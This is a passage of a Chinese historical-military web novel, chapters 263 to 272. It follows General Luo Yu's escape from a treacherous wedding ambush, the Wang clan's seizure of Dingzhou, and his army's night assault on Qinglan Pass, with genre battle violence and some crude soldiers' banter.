洛羽的枪尖终于擦过顾剑左肩,一身黑色劲衣瞬间绽开血花,可他的长剑也同时刺穿洛羽右腿皮甲。两人同时闷哼,不约而同地后退两步,大口大口地喘着粗气。
各有损伤,半斤八两。
别看只是电光火石的交锋,可激烈无比,对体力消耗极大。
街巷尽头已经传来了阵阵怒吼,火把连天一色,照亮了半边天,并州的追兵到了!
再冲不出去就得全死在这!
洛羽面色狰狞,提枪一指:
“滚开!”
“得人千金不如顾剑一诺。”
顾剑长出一口气,再度握剑:
“我说了,想出城就踩着我的尸体过去!”
“轰!”
“咚!”
“咚咚!”
两人刚欲再战,一决生死,背后突然传来一声声巨响,宛如雷鸣,震得人耳膜发颤。
双方悍卒同时一愣,齐刷刷地看向城门口,只见厚重的城门在不断颤动,像是遭受了撞击。
洛羽和顾剑全都傻眼了,这架势,是有人在攻城!
谁在攻城?
“轰!”
在众人震惊又错愕的目光中,城门轰然倒塌,木屑飞溅,扬起漫天尘土。
一道极为熟悉的嗓音传入了洛羽耳中:
“洛将军,我来助你!”
凌桐,是凌桐!当初在边关战事中结识的并州武将!
灰尘散去之际,呼啦啦近千号骑步军卒涌入城门,牢牢护在洛羽周围,挡住了顾家军的截杀。
岳伍和许韦眼眶泛红,许多军卒他们很面熟,显然是当初在边关一起厮杀的同袍兄弟!
他们看向洛羽的眼神还是那么炙热,一如既往!
凌桐策马持枪来到洛羽身前,抱拳拱手:
“洛将军先走,我来拦住顾家军!”
“你……”
洛羽怔怔然,凌桐可是王家的家臣啊,为何要助自己?而且城内有上万兵马,凌桐留下阻敌乃九死一生。
“我是王家臣,但更是陇西人。只恨我瞎了眼,效忠贼子多年!”
凌桐的眼神无比坚定:
“边关一战,凌某对洛将军钦佩不已,如此惊天之变,凌某改变不了什么,只能舍命替洛将军搏一条活路!”
他的驻地就在城外不远,当听说城内剧变时第一时间就做出了决定:
反王家,救洛羽!
追兵将至,凌桐嘶吼出声:
“走!”
“谢了!”
洛羽咬牙切齿,纵马出城,回头怒吼:
“若未死,来阙州!”
三百精骑绝尘而去,一头扎进夜色。
“该死的凌桐,你们竟然当叛徒!”
“杀了他们!”
望着蜂拥而至的追兵以及一声声怒骂,凌桐仰天长啸:
“将士们,可还记得洛将军教过我们什么!”
千人齐声怒吼:
“死战!”
第264章弑父
“大人,洛羽带着君墨竹跑了!”
一名武将急急忙忙地来到王彦之身后,声音异常的小,战战兢兢。
“什么,这怎么可能跑了?”
王彦之大为不解,满城尽在自己的掌控之中怎么会让人跑了:
“顾剑呢?龙泉山的兵马没把人拦住?不应该啊,八百骑拦住他们绰绰有余,城门不是关起来了吗?”
“本来是拦住了,可是那个凌桐带着兵马从外面攻破了城门,把洛羽给放走了。”
武将满脸苦涩:
“到现在凌桐还在阻拦追兵,死死挡在城门口。”
“什么?凌桐!”
“混账,这个吃里扒外的叛徒!枉我如此信任他!”
王彦之目光阴寒,怒不可遏,他怎么也没想到跟了王家多年的家臣会毫无征兆地反水相助洛羽,他们俩不是只在前线认识了半年吗?
“大人,大人。”
老管家突然步履匆匆地走了过来,轻声道:
“老家主让你过去。”
“知道了。”
王彦之面色微僵,袍袖一挥:
“记得把城内余孽全都给我铲除干净,尤其是君家那些杂碎!我去去就回!”
……
王彦之匆匆忙忙地来到主屋,他的亲生父亲、并州持节令王蒙强撑着虚弱的身体坐在太师椅上,疲倦的老人像是半只脚踏进了鬼门关。
“爹,您怎么起来了,彦儿扶您回房休息。”
“混账,你眼里还有我这个爹吗!”
“哐啷!”
老人面色铁青,气得浑身颤抖,抄起桌上的水杯就砸了出去,恰好砸在了王彦之的头上。
砰的一声水花四溅,王彦之被浇了个落汤鸡,茶叶糊了一脸,青红色的紫斑迅速在额头浮现,甚至有丝丝血迹渗出。
“爹!”
“别叫我爹!我就当没生过你这个畜生儿子!”
“咳咳,咳咳咳!”
王彦之擦去脸上的茶水,红着眼,愤怒、不甘、各种各样的情绪全都汇聚在脸上。
王蒙哆哆嗦嗦地伸出手:
“为何,你为何要干出如此龌龊的勾当!”
第265章我是你爷爷!
洛羽和君墨竹离了并州城就一路狂奔,昼夜不停的往定州赶。
陇西三州的地势很古怪,并州只与定州接壤,想回阙州就必须经过定州。一路上各城都在通缉他们两,所以只能从野外赶路,马不停蹄。
二人的计划很明确,先回定州将真相昭告天下,然后以君墨竹的威望号召君家势力,集结定州军;洛羽再起阙州军,两家合力击败王家!
只要离开并州就算是逃出了鬼门关!以两州的兵力,定能一举灭掉王家。
可真当二人抵达两州交界处时却发现事情没有这么简单。
这里是一处山口,算是勾连两州的要道之一,平日里经常有商贾穿行。
夜色漆黑,晚风一吹山林间便树影晃动,窸窸窣窣,分外可怖。
洛羽等人从密林中探出脑袋,目光凌厉,只有君墨竹格外虚弱。
他肩膀处挨了一刀,一路上根本不敢找医者买药治伤,只能简单的包扎一下伤口。再加上昼夜不停的赶路,吃不好也睡不了,文弱的君墨竹哪吃得了这种苦,面无血色。
可你不能停啊,一旦停下就有可能被并州军追上,到时候便是九死一生!
众人目光凝重,因为山坡之下设有一处哨卡,约摸上百军卒,皆穿定州军服。
他们用层层鹿角拦住了山口,两侧还架着弓弩,锋芒毕露的箭矢蓄势待发。一行人从黄昏时分就趴在这里了,发现哨卡在对照两张画像盘查过往的百姓,遇到马车之类的更要严加查看,里里外外搜个遍。
“看起来不妙啊。”
洛羽眉头紧皱:
“好端端的一条山路,为何突然多了哨卡?看他们的样子好像是在找人。”
“在我的印象中,定州从不会在两州交界处设卡。”
君墨竹嗓音冰冷,严格意义上来讲这里已经是定州境内了,定州的情况还有人比他更清楚吗?
“君家的嫡系族人都去参加婚礼了,留在家族内的人信得过吗?有没有把握控制住境内兵权?”
洛羽心中隐隐有种不祥的预感。
“应该可以。”
君墨竹不假思索的说道:
“定州境内的情况和之前李家差不多,一半地盘归大小城主所有,剩下的才是君家实际掌控。
此行我爹留下了几名心腹族人外加一众家将,君家的兵权都归他们管,至于其他城主靠不靠得住就说不准了。”
“信得过吗?”
洛羽冷冷的问道:“有没有可能被王家策反?王彦之密谋多时,不可能放任定州不管的,一定有后手!”
君墨竹沉默了,这些年他为了避嫌,几乎不插手君家兵权,自己的情报网也主要是盯着三州大大小小的城主,那些家将和族人靠不靠得住他真不确定。
洛羽目光紧凝地看向山下:
“如果我猜得没错,定州境内应该出事了,否则不会在这里安排哨卡。”
君墨竹心头咯噔一下,如果定州都出事那麻烦就大了。
“将军,我回来了!”
第266章定州亦是重重危
数不清的火光将山谷照耀得如同白昼,刀剑四起,吼声震天。
仅剩的一百五十号骑兵团团簇拥在一起,杀气腾腾的看着四周,洛羽紧握长枪,其实从发现哨卡开始他就估计会有危险,可他们别无选择,只能强冲。
伏兵分成两拨,一拨并州军一拨定州军,看来最坏的情况出现了。
定州已经失控!
半山腰处站着两名中年武将,其中一人的嘴角勾起讥讽的笑容:
“在下王承虎,见过洛将军和君公子。啧啧,你们还真是命大啊,真从并州城逃出来了。”
王家的人!
看清另一人的面庞时君墨竹陡然暴怒:
“宋骨,你这个卑鄙小人,这些年我君家对你不薄,为何要反!”
宋骨,君家三位手握兵权的家将之一,右脸颊有一道狰狞的刀疤,早年间乃是定州的悍匪,后被君天啸收入君家麾下,统兵一方。
这些年在君家他很是老实,从未有过任何逾距,突然的背叛令君墨竹十分震惊。
宋骨面无表情地回了一句:
“我终究是姓宋,不姓君,王家给我的比你们给的多,人不为己天诛地灭!”
“混账!无耻!”
君墨竹从怀中掏出一块玉佩,朗声怒喝:
“定州的将士们,我乃君家君墨竹!王家设宴伏击,杀我定州城主官吏,罪大恶极,你们千万不要被其蒙骗!
跟着我反戈一击,护我定州!”
吼声还真有几分作用,不少军卒听说是君墨竹就傻眼了,不对啊,他们不是君家的兵吗,怎么反过来要杀君家二公子?
宋骨冷声喝道:
“君家君天啸行刺陇西道巡阅使,密谋造反,他已经不是定州持节令了!
依大乾律令,当诛九族!
谁若是敢助纣为虐,视同谋逆,一并诛杀!”
大头兵都蒙了,这是哪跟哪啊,君家怎么成反贼了?不过宋骨在军中这么多年,基层将校有不少是他的人,很快就喝止了躁动的军心。
“哪儿那么多废话,杀了就行。”
王承虎手持大刀,狠狠一挥:“给我杀,一个不留!”
“放箭!”
“嗖嗖嗖!”
箭矢从头顶倾斜而下,众人挥舞长枪拼命遮挡,时不时就有亲卫中箭坠马。随即近千伏兵蜂拥而出,夹击山谷中的骑兵,更有手持盾牌的拒马阵将前方山路挡得严严实实。
堪称绝境!
王承虎满脸笑意,很是轻蔑:
第267章身陷死地奋力搏
一望无际的平原上有两三百残兵在纵马狂奔,扬起漫天尘土。
每个人的眼中都布满了血丝,衣袍、枪尖上沾染的血迹早已凝固,变得冰冷腥臭,你说他们是残兵败将也好、血战悍卒也罢,但他们正在鬼门关的边缘挣扎。
洛羽的左肩经过了简单的包扎,箭头取出之后带出一大块血肉,差点伤及骨头。现在整条左臂都是麻麻的,隐隐散发痛感,感觉使不上力。
林戈在激战一场之后带兵跟了上来,双方合兵一处,满打满算不到三百骑。
残兵没有在定州停留,而是抄近路直插阙州,此地距离阙州边境仅剩四五十里,因为他们从林戈口中得知了定州的情况:
王家早就秘密安插人手进入定州首府定襄城,就等着君家族人离境,手握兵权的三名外姓武将更是有两人背叛了王家。
在并州城举行婚礼的当天晚上,定襄城内也举办了酒宴,文武官员齐聚一堂,一醉方休。结果叛徒联手王家同时发难,夜袭君家祖宅,定襄城由此失陷,君家满门上下惨遭屠杀,就连军中忠于君家的大部分将校也遭到了血一般的清洗。
如此乱世,斩草除根是所有人都懂的道理。
君家都没了,兵权自然旁落,那些城主要么投降王家、要么被王家杀戮一空,王家的举动出奇的快,四五天内几乎就掌控了定州全境。
跟在人群中的君墨竹面如死灰,眼眸中再无往日的光芒,本想着回到定州之后起兵复仇,没想到等待他的是更加凄惨的噩耗。
“再坚持一下就能进入阙州境内了。”
许韦舔了舔干裂的嘴唇,略带忧心:“只希望王家的追兵慢一点啊。”
他们知道宋骨的追兵不远,所以才日夜兼程地赶路,除非战马实在累得跑不动了才会停下来休息。
进一步生,退一步死。
“只怕阙州没那么好回啊。”
在越过一道土坡之后,洛羽的眼中陡然闪过一道寒光,抬臂怒喝:
“停马!备战!”
“嘶嘶嘶!”
骑兵在一连串战马的嘶鸣声中停了下来,队伍松散不堪,再也没有往日的严整。没办法,不管是人还是战马的体力都消耗到了极致,一路逃亡活生生累死了上百匹马。
平原正前方摆下了一座军阵,骑步混合,约莫八百人,军中高高飘扬着一面“崔”字旗号。
“崔牛吗?”
君墨竹眼眸黯淡,崔牛乃是方圆数十里内势力最大的城主,看情形也已经投降王家,成了最后一只拦路虎。
大军阵中行出一名身材壮硕的中年男子,朗声喝道:
“洛将军、君公子,本不想和你们刀兵相见,奈何你们真的逃到了这里。”
听其话语,似乎王家早就安排他守在这,看来王彦之真是步步筹谋,不愿给两人一丝生机。
君墨竹扫了一眼周遭疲惫不堪的军卒,咬着牙喝道:
“崔将军,能否念及往日旧情,放阙州兵马过去,我留下!要杀要剐,听凭处置!”
君墨竹清楚阙州军的战力,放在之前,三百骑杀穿对面军阵突围不成问题。可现在不一样啊,这是一支疲师,全靠胸中一口气撑着。
“你在放什么屁!”
洛羽瞪了君墨竹一眼:“你我是兄弟,岂会让你送死的道理!”
第268章三百悍卒全军没
两军从正午一直厮杀到黄昏,嘶吼声响彻云霄,洛羽麾下的三百骑杀红了眼,从骑兵打成步战,刀砍卷了就换成拳头、换成牙齿,血肉相搏。
每时每刻都有生命在流逝,战死的尸体互相堆积,垒成了一座座小坡。
崔牛的八百军卒竟然越打越怕,他们何曾见过这样的对手?
他们根本就不是人,而是一群从地狱里爬出来的恶魔!
“杀!”
“铛铛铛!”
洛羽依旧冲杀在人群中,浑身早就被鲜血染红,多处负伤。面对数倍于己的敌军包围,就算是神也难当。
“噗嗤!”
又有一名敌军趁洛羽不备,狠狠在小腿上捅了一枪,枪尖刺破血肉,剧痛袭遍全身。
“哈哈,黄金千两啊!”
粗狂军卒的眼中充斥着贪婪,杀了洛羽,他这辈子都不用愁了,他甚至已经能想象花坊头牌在身下搔首弄姿的场面。
洛羽强忍剧痛,弯刀一压就将枪杆劈成两截,顺手拔出断枪,顾不得鲜血喷溅,半截枪尖狠狠扎进了敌卒的胸口:
“噗嗤!”
鲜血飞溅,粗狂军卒绝望地栽倒在血泊中。
“哈哈,人头是我的!”
还来不及喘口气,侧面又是一人挺枪刺来,狰狞凶残。右腿的剧痛让洛羽的动作慢了很多,一时间竟然站不起身,只能眼睁睁看着长枪刺来。
千钧一发!
“噗嗤!”
一柄刀锋突然从背后刺穿了他的胸膛,敌军望着破体而出的刀锋面如死灰,软软地栽倒在地,连洛羽也蒙了。
持刀杀人的竟然是君墨竹!
虽然见过无数鲜血,可第一次杀人的君墨竹浑身都在发抖,只是在咬牙切齿地嘶吼:
“杀,杀,全都杀了!”
“报仇!”
“洛将军果然命大啊,看来还得我亲自出马。”
崔牛的冷喝声响起,拎着三环大刀出现在两人的视野中,看刀锋上的血迹就知道,他已经杀了不少人。
洛羽拄着刀,艰难地站起身:
“林戈!”
“明白!”
林戈心领神会地拉着君墨竹撤到一旁,崔牛并没管君墨竹,目光始终落在洛羽身上:
“阙州精锐果然骁勇啊,没想到这一仗会打得这么惨。”
第269章臣下献,平天策!
大乾历,景丰十一年
春末夏初之际,王家传檄三州,君家长子君天啸当众毒杀陇西道巡阅使上官熙,阙州持节令洛羽为从犯,两家谋逆作乱,视朝廷律法于无物,罪大恶极!九族当诛!
王家取消两家婚约,举义旗,除叛逆,征讨君家、洛家!
消息一出,陇西惊变,朝堂震动!
一场喜事变成血色婚礼,君家族人惨遭屠戮,事情之突然超出了所有人的预料。
王家的动作非常之快,一面发兵定州,一面借机剿灭并州境内的反对势力,反正不听话的城主已经被他们杀了。
他要像洛羽一样,不再设城主,各城皆由王家直接管辖!
短短一个月,并州定州皆入王家之手,遍地“王”字军旗,敢有不从者满门抄斩!杀得人头滚滚。
三州惊骇,人心惶惶!
全面接管定州之后,王家派重兵驻守在阙州边境,暂时并未对阙州用兵。
原因很简单,阙州军骁勇善战,哪怕手握两州军力,王彦之也没把握击败洛羽,所以他在抓紧一切时间征兵备战,整合两州军伍。
对于陇西的惊天之变,朝廷始终没有任何表态,连一道圣旨都没有。
他们是在等,等三州自己决出胜负。
大乾乱了这么多年,王家耍的是什么把戏满朝大臣看不出来吗?君家是真刺杀了上官熙还是被栽赃,朝廷不知道吗?
所有人都知道!
但陇西天高皇帝远,朝廷鞭长莫及,只能等,等王家洛家自己决出胜负!
王家赢,君家洛家就是谋逆的反贼,洛羽赢,王家自然万劫不复。
成王败寇,自古如此!
……
“慢点,你慢点!伤还没好利索呢!”
“哎啊,好了啊,真的,你看我都能走路了。”
“那也不行!医师说了,你得静养!”
“静养什么,你看岳伍许韦两个家伙,跟个没事人一样,我也可以!”
“可以什么可以,能一样吗,你受的伤最重!”
苍岐城的将军府里,洛羽丢掉拐杖,正一步步往前走,看起来很简单的动作实则要很用力,额头上都渗出了些许汗水。
因为他小腿的伤口刚刚愈合,行走间依旧能感受到丝丝疼痛。
沈漓在边上扶着他,唠叨个不停,恨不得让洛羽一直躺在床上:
“伤筋动骨一百天,这么简单的道理你不懂吗?你才躺了多久?一个月都没!”
“姑奶奶,我的好姑奶奶。”
洛羽苦着脸说道:“躺了一个月都快憋死我了,还有好多事等着我去处理呢,哪能接着躺?”
第270章出兵灭王,一统三州
大乾国都,天启
作为七国都城之一,天启城之辽阔称得上世间罕见,青石砖瓦筑起的城墙长达数十里,高大坚固,堪称固若金汤。
来往穿梭于城门的百姓宛如蝼蚁,在巍峨的城墙下是那么的渺小。
位于城中央的那座皇城更是大乾十三道的权力中心,能踏足宫门的官员无一不是显赫之辈,跺跺脚整个大乾都得抖三抖。
皇城如一头盘踞天启中央的玄色巨龙,九重朱漆宫门洞开,每道门钉皆以鎏金铸就,在朝阳下泛着摄人心魄的威严。
十二丈高的城阙上,蟠龙纹样的琉璃滴水瓦列阵如鳞,每当雨落便激起千条金线,恍若真龙腾云。
中轴线上,一座座大殿的屋顶都压着十二颗夜明珠,夜幕降临时光华流转,与北斗七星遥相呼应。殿前广场铺着青金石砖,每一块砖石表面都带有纹路,万块方砖从高空俯视,便能清晰地看见一幅大乾江山图!象征着大乾的山河社稷被宫殿群**。
什么叫奢华?什么叫至高无上的皇家威严?
这就是!
当然了,以前的大乾景氏真的有至高无上的权威,皇召所至,莫敢不从,十三道疆域上下一心,闻令而行。只可惜随着一场大乱,皇权衰落,各路枭雄并起,所谓的大乾十三道还有多少官员对皇族俯首帖耳呢?
不多了。
庞大的宫殿群中有一座偏殿,门口悬挂着一块牌匾,龙飞凤舞地写着三个大字:
弈心殿。
这是六皇子景淮的住所,宫殿的名字也是他自己起的。
看其规模和气派程度就知道景淮不甚得宠,因为其他几位皇子的宫殿个顶个的气派,唯独奕心殿看起来平平无奇,门可罗雀,不知道的还以为景淮被打入冷宫了呢。
幽静的书房里,景淮一人趴在棋盘上,左手执白、右手执黑,独自一人下棋。在旁人看来十分无聊的事情他却津津有味、目不转睛。
这位六皇子在京城内最出名的有两件事:
一个是自幼体弱多病、第二就是棋艺,据说是下遍京城无敌手。
“哒,哒,哒!”
幽静的书房内只有黑白棋子不断落下的清脆声响,景淮曾经说过一句话:
弈棋也是弈心。
不知过了多久,老太监冯德全缓步走了进来,躬身道:
“殿下,打听清楚了,王家攻占定州之后并未出兵阙州,两军沿着边防部署重兵,都在整军备战,想来要不了多久就会爆发战事。”
景淮轻轻落下白子:
“洛羽呢,有什么动作吗?”
“暂时还没有,听说洛羽是重伤而回,差点就**,一个月来一直在养伤。”
“一个月了,伤好得也差不多了。朝中那些老狐狸怎么说?”
“还能说什么,观望呗。”
冯德全无奈一笑:
“都说陇西蛮荒,没必要多管,就让三家狗咬狗,看谁能赢。”
“呵呵,这些人啊,目光短浅。”
“咳咳。”
景淮捂着嘴咳嗽了几声,嘴角微翘:
“如今的陇西,今非昔比了。”
景淮又落下一枚黑子:
“短则三天,长则十天,陇西战事必起!”
“殿下,您真觉得洛羽能赢?”
冯德全微皱眉头:
“陇西三州,以王家的根基最深,并州也最富饶、人口最多、聚兵最多,如今还吞并了定州,携两州之力,单单一个阙州,敌得过吗?
殿下送给阙州的银粮可是多年来辛苦积攒下来的,可别打了水漂。”
“当然能赢。”
景淮微微抬头,轻笑一声:
“我看人的眼光,不会差的。”
……
苍岐城,安西将军府内
阙州文武齐聚一堂,分列两侧,屋中的气氛格外肃穆,甚至令人感到一丝压抑。尤其是那一排武将,全都穿上了战甲,浑身杀气缭绕。
人群中有三张生面孔:君沉、凌桐、林戈。
君老将军命大,一直驻军在外,定襄城大乱之后他愤然起兵,率军回援,怎奈王家兵力雄厚,叛军又两面夹击,老将军力战不敌,最后带着一千多残部撤入了阙州;
凌桐在并州城断后,掩护洛羽突围,挨了顾剑一剑没死只身逃离。
三人的脸色很是悲戚,就像是丧家之犬。几个月前,谁也不会想到自己会以这样一种方式出现在苍岐城。
世事变幻莫测啊。
“洛将军到!”
岳伍一声怒吼。
身披玄甲的洛羽走入屋中,脸色虽然还带着些许苍白,但是步履沉稳,显然伤势已经好的差不多了。
两侧文武同时弯腰行礼:
“参见将军!”
吼声如雷,目光中满是敬意和炙热。
“免礼!”
洛羽大手一挥:“少游,你先说。”
萧少游沉声道:
“一个月来,王家整合定州军力、强征兵丁、聚兵五万之众,分驻定州各城,其中边境一线更是部署了重兵,严防死守。”
“好一个王家啊,动作神速。
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”
洛羽冷笑道:
“他这是在拖延时间,征召新兵,以图于我军一战。”
阙州军的战力人尽皆知,王彦之可没把握能轻而易举地击败洛羽,所以在拼命地征兵、整合大小城主麾下的兵马。此前定州满打满算也就三万多人,短短一个月,王彦之就在定州扩军到了五万,若是再加上并州的兵马,王家麾下足有十余万大军。
阙州呢?
五万。
在场文武面色冰寒,眼眸中充斥着怒火,**这么多的人,岂能不恨?
洛羽环视全场,嗓音冰冷:
“诸位,可准备好了?”
“轰!”
全场齐齐抱拳,猛然怒喝:
“请将军下令!”
王家在备战,阙州何尝没有备战?五万兵马早已在边境一线集结,严阵以待。
洛羽冷声道:
“陇西三州本为一体,我本不愿看到同胞相残、陇西战火连天。
可王家卑鄙无耻、设计陷害,以婚礼为名残杀我阙州、定州将士,更是覆灭君家满门,罪大恶极,人神共愤!
今时今日,我阙州当举义旗,伐无道,匡扶正义!
雪崖,檄文写好了吗?”
阙州刺史梅雪崖迈前一步,手捧轴册,朗声高喝:
陇西三州,血脉同根,山河共济。
吾本怀仁,不忍兵戈相向,使黎庶蒙难。
然王氏豺狼成性,蛇蝎为心,欺天罔地,残害忠良,罪恶滔天,神人共愤!
王氏暴虐,苛政如虎,横征暴敛,民不聊生;构陷良善,冤狱遍野,老弱填沟壑,壮者鬻子女。其恶贯盈,**人怨,不诛此贼,陇西无宁!
昔以婚约为饵,设伏行诈,刺杀巡阅使上官熙,以此栽赃,屠我阙、定将士,血染喜堂;更灭君氏满门,老幼不留,此恨刻骨,此仇不共戴天!
其行悖逆人伦,其罪罄竹难书!
上干**,下招民怨,陇西膏腴之地,岂容此獠肆虐!
今安西将军洛羽奉天伐罪,举义旗以清妖氛。王氏无道,虐民逞凶,吾辈当替天行道,拯百姓于水火。凡我陇西义士,当执戈而起,共诛**;州县豪杰,亦应奋臂一呼,助顺讨逆。
檄文所至,如律令行,誓斩奸佞!
慰亡魂,以正乾坤!
“轰!”
所有人齐声怒喝:
“吾等愿随洛将军,伐无道,除奸佞!以正乾坤!”
洛羽披甲起身,喝声如雷:
“出兵!”
“灭王家,统一陇西!”
第271章阙州先登,幸会
青岚关
原本是定州境内平平无奇的一座城关,但从一个多月前开始这里便**了重兵,大将宋骨,也就是追杀洛羽的那位亲自驻守于此的。
原因很简单,所有人都看得出王家洛家即将开战,定州阙州之间相通的道路很多,但唯有青岚关道路平坦,可以容纳大军和大型攻城器械过境。
阙州军若是开战,首选青岚关!
骄阳当空,初夏的天气已经有些闷热,再加上西境气候干燥,站在太阳底下总给人一种不得劲的感觉。
但青岚关城头有数不清的民夫在劳作,挥舞着镐锤、搬运着沙包加固城头,人人挥汗如雨,骄阳晒得他们皮肤发红。
身穿甲胄的宋骨站在城头,目光远望,城门前是一片坦途,更远处则是山峦起伏,黑压压的山峰连天一线,那里便是阙州境内。
那一日追杀洛羽功败垂成,蒙虎带着五百精骑入境相救,差点一枪要了自己的命,直到现在宋骨都心有余悸,久闻阙州虎痴的威名,自己竟然连其一招都接不住,若不是跑得快早就变成一具死尸了。
“阙州方面有什么动静吗?”
“和以前一样,整军备战,囤积粮草,其他的就不清楚了。”
身边的副将嘴角苦涩:
“咱们的斥候现在都出不去,无法打探到详细的军情。”
“一群废物!”
宋骨恨得牙痒痒,一开始城内还经常派斥候外出,潜入阙州境内查探军情,结果被游**手杀得干干净净,到现在已经无人敢外出深入敌境,换句话说他们连城门都不敢出。
因为远处的山脉看起来安宁静谧,实则却杀机四伏,鬼知道里面藏着多少游**手。
“将军,他们估计不敢从青岚关过吧?”
副将小心翼翼地说道:
“城中有六千驻军,城墙也经过多次加固,粮草足备,死磕城墙对他们来说并无益处,末将觉得阙州军大概率会从小路偷过。”
“其他几处道路都封锁了吗?”
“已经用巨石和檑木把路给拦起来了,沿途皆有岗哨巡逻,阙州军绝无可能悄悄入境。”
“那就好,任他们从小路还是青岚关过,只要有本将在,阙州一兵一卒都休想过去!”
宋骨对青岚关的防线很有信心,虽然你阙州精骑能够与羌兵正面野战,可我六千人龟缩城内不出,你拿我有什么办法?
王彦之对青岚关的要求很简单,坚守三个月,等定州并州境内的新兵整训完毕,再反击阙州,一统陇西!
宋骨跑袖一挥:
“好好守着城防,别出纰漏!谁敢麻痹懈怠,杀无赦!”
“诺!”
……
夜幕缓缓降临,天地间漆黑一片。
微弱的晚风徐徐吹拂,怎么也吹不走空气中那股闷热。
青岚关城头亮起了团团火光,守城军卒要么三五成群凑在一起闲聊,要么来回巡逻,。总之没一个敢打盹瞌睡。
今夜负责值守的黑脸都尉站在城头朗喝一声:
“火箭!”
一排几十号弓**手弯弓搭箭,将裹着的油布的箭头用火把点燃,然后一轮轮泼射出去,瞬间照亮了城外大地。
这是宋骨交代的,每隔一个时辰就得火箭照明,放着阙州军偷袭。
都尉瞪着眼仔细看了半天,城外毫无动静,直到火箭接二连三地熄灭他才松了口气。
“头,别看了,大半夜的鬼影都看不见一个,哪会儿有人。”
一名满脸胡渣的老兵油子嘟囔道:
“阙州军就算再强,他们也没长翅膀,难不成还能飞上天?”
“你以为老子想大半夜守在这吗?热**,蚊子又多。”
黑脸都尉啪的一声拍死一只蚊子,弹飞尸体,愤愤不平的说道:
“若不是上峰有令,老子早就回房睡觉了。”
老兵油子挤眉弄眼:
“回房睡觉还是去花坊搂着那个小娘皮睡觉?前几天都尉可是彻夜未归,是不是爽翻了?”
“哈哈哈哈!”
一圈军卒齐齐哄笑,荤段子可是他们的最爱。
黑脸都尉浑然不在意,反而露出一抹色眯眯的目光:
“你还别说,上次我在花坊见到一个头牌,乖乖,那个身段,那张小脸,尤其是胸前那团高耸,让人着迷啊。
若是能让我爽一夜,**都值!”
“那头怎么不上,好好爽一把?”
“唉,老子哪有那么多钱,玩不起。”
都尉砸吧着,摇摇头:
“宋将军说,这次只要击败阙州军自会有大把大把的赏银,到时候老子一定要去花坊,换十八种武艺好好**她一番。”
“头发达了可别忘记咱兄弟们,咱们也想尝尝青楼花魁是什么滋味。”
“好说好说,哈哈哈!”
一片哄笑声中,胡渣脸的老兵油子递过水囊:
“头,来一口。”
“水有啥好喝的,不对,
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这是,酒!”
都尉鼻子一嗅就知道不对劲,压低着声音怒斥道:
“你不要命了!宋将军下了严令,这阵子要严守军规军纪,军中饮酒可是死罪!”
“哎啊,头就放心吧。”
老兵油子挤眉弄眼:
“这里都是自家兄弟,你不说,我不说,有谁知道咱们喝酒了?这么热的天,不来口烈酒解解乏怎么行?
喝吧,没事的。”
嘴上说着军规军纪,都尉肚子里的馋虫早就被勾了起来,眼珠子左右一转,确定无人之后便咕噜咕噜就往喉咙里灌了几口:
“嘿嘿,还是你鬼点子多。”
黑脸都尉十分舒坦,感觉灵魂都通透了,拍了拍老兵的肩膀:
“放心吧,等老子发达了,绝不会亏待你们!”
“哈哈,谢谢头!”
老兵嬉笑一声,揉了揉肚皮:
“喝多了,我去解个手。”
当兵的嘛,怎么可能去找茅厕,直接跑到墙头,一拉裤子开闸防水:
“嘘嘘。”
鞋子很快就湿了,老兵很不爽地抖了抖:
“唉,到底是老了啊。”
“铛,铛,铛。”
刚准备拎起裤子,他突然听到耳边传来一声异样的响动,皱眉四顾:
“见鬼了,什么声音?”
四周分明漆黑一片,可细微的清脆响声依旧回荡在耳畔,甚至越来越近。
“该不会是……”
老兵下意识的探出脑袋看向城外,当他低下头的那一刻只觉得浑身汗**竖起,一股恐惧直冲天灵感。
因为沿着这一片城墙悬挂着无数钩锁,铁质的勾爪牢牢嵌入墙砖,密密麻麻的身影犹如鬼魅般往上爬,最近的那人已经爬到了城头边!
四目相对,分外诡异。
“你!”
“噗嗤!”
老兵油子连半个字都没喊出,锋利的弯刀就已经狠狠捅进了他的胸口。
低沉的响声总算是引起了其他守军的注意,在他们的视角里老兵油子背对着自己,一动不动,很是古怪。
黑脸都尉骂骂咧咧:
“杵在那儿干嘛呢,赶紧回来,咱再闹两口。”
“扑通~”
话音刚落,老兵的尸体就一头栽倒在地,淡淡的血腥味开始在空气中弥漫。
全场皆惊!
徐松的面庞豁然浮现,手握苍刀,嘴角挂笑:
“阙州先登,幸会。”
“从现在起,青岚关姓洛了。”
第272章五万铁甲出阙州
倒在地上的死尸逐渐冰冷,鲜血顺着砖石往四处流淌。
四周守军全都傻眼了,一道又一道黑甲就这么堂而皇之地跃过墙头、稳稳落地,一柄柄明晃晃的大刀在月色之下散发着寒光。
黑夜昏昏,毛骨悚然。
死亡的味道令人窒息!
“敌袭,敌袭啊!”
黑脸都尉率先回过神来,尖叫嘶吼:
“击鼓,阙州军偷袭了!”
“所有人拔刀,随我迎战!”
只见他强压住心中的恐惧,抄起一柄朴刀冲向了徐松,纵身一跃:
“吃老子一刀!”
苍刀在徐松手中轻颤,刀尖斜指地面,面无表情。
黑脸都尉的朴刀挟着风声劈头斩下,威势确实不凡,宋骨本人是悍匪出身,麾下将校大多也是从各地招揽来的土匪强盗,个个都是滚刀肉。
徐松却不退反进,身形一矮,苍刀自下而上一滑:
“铛!”
两刀相撞,火花迸溅,强劲的反震力逼得黑脸都尉身形一颤,双臂发麻。
徐松手腕一翻,苍刀如顺着朴刀刀背滑下,直削都尉握刀的手指。黑脸都尉大惊,急忙撤步后仰,却见徐松突然变招,刀势一转,横斩向他的腰腹。
“这,好快的刀!”
黑脸都尉仓促间将朴刀竖挡,又是一声金铁交鸣,虎口瞬间崩裂,心中骇然,徐松之强悍远超想象。
徐松脚步忽变,整个人如鬼魅般绕到都尉左侧。苍刀划出一道银色弧线,直取都尉脖颈,一连串的招式逼得黑脸都尉手足无措,忙不迭想要躲,可寒芒已至!
“咔擦!”
一声脆响,手中朴刀应声而断,苍刀在他绝望的目光中狠狠砍中了自己的胸口:
“噗嗤!”
黑脸都尉瞪大眼睛,半截朴刀当啷落地。他低头看着没入胸口的刀锋,喉间发出咯咯声响。
徐松手腕一拧,刀刃在血肉中转了半圈,随即果断抽出。鲜血喷溅在黑色甲胄上,死尸轰然倒地,激起一片尘土。
电光火石的交锋,血腥惨烈的死尸让敌军鸦雀无声,眼神中只剩恐惧。
徐松甩去刀上血珠,抬眼望向剩余守军,声音平静却令人胆寒:
“降者可活,负隅顽抗者死!”
“咻!”
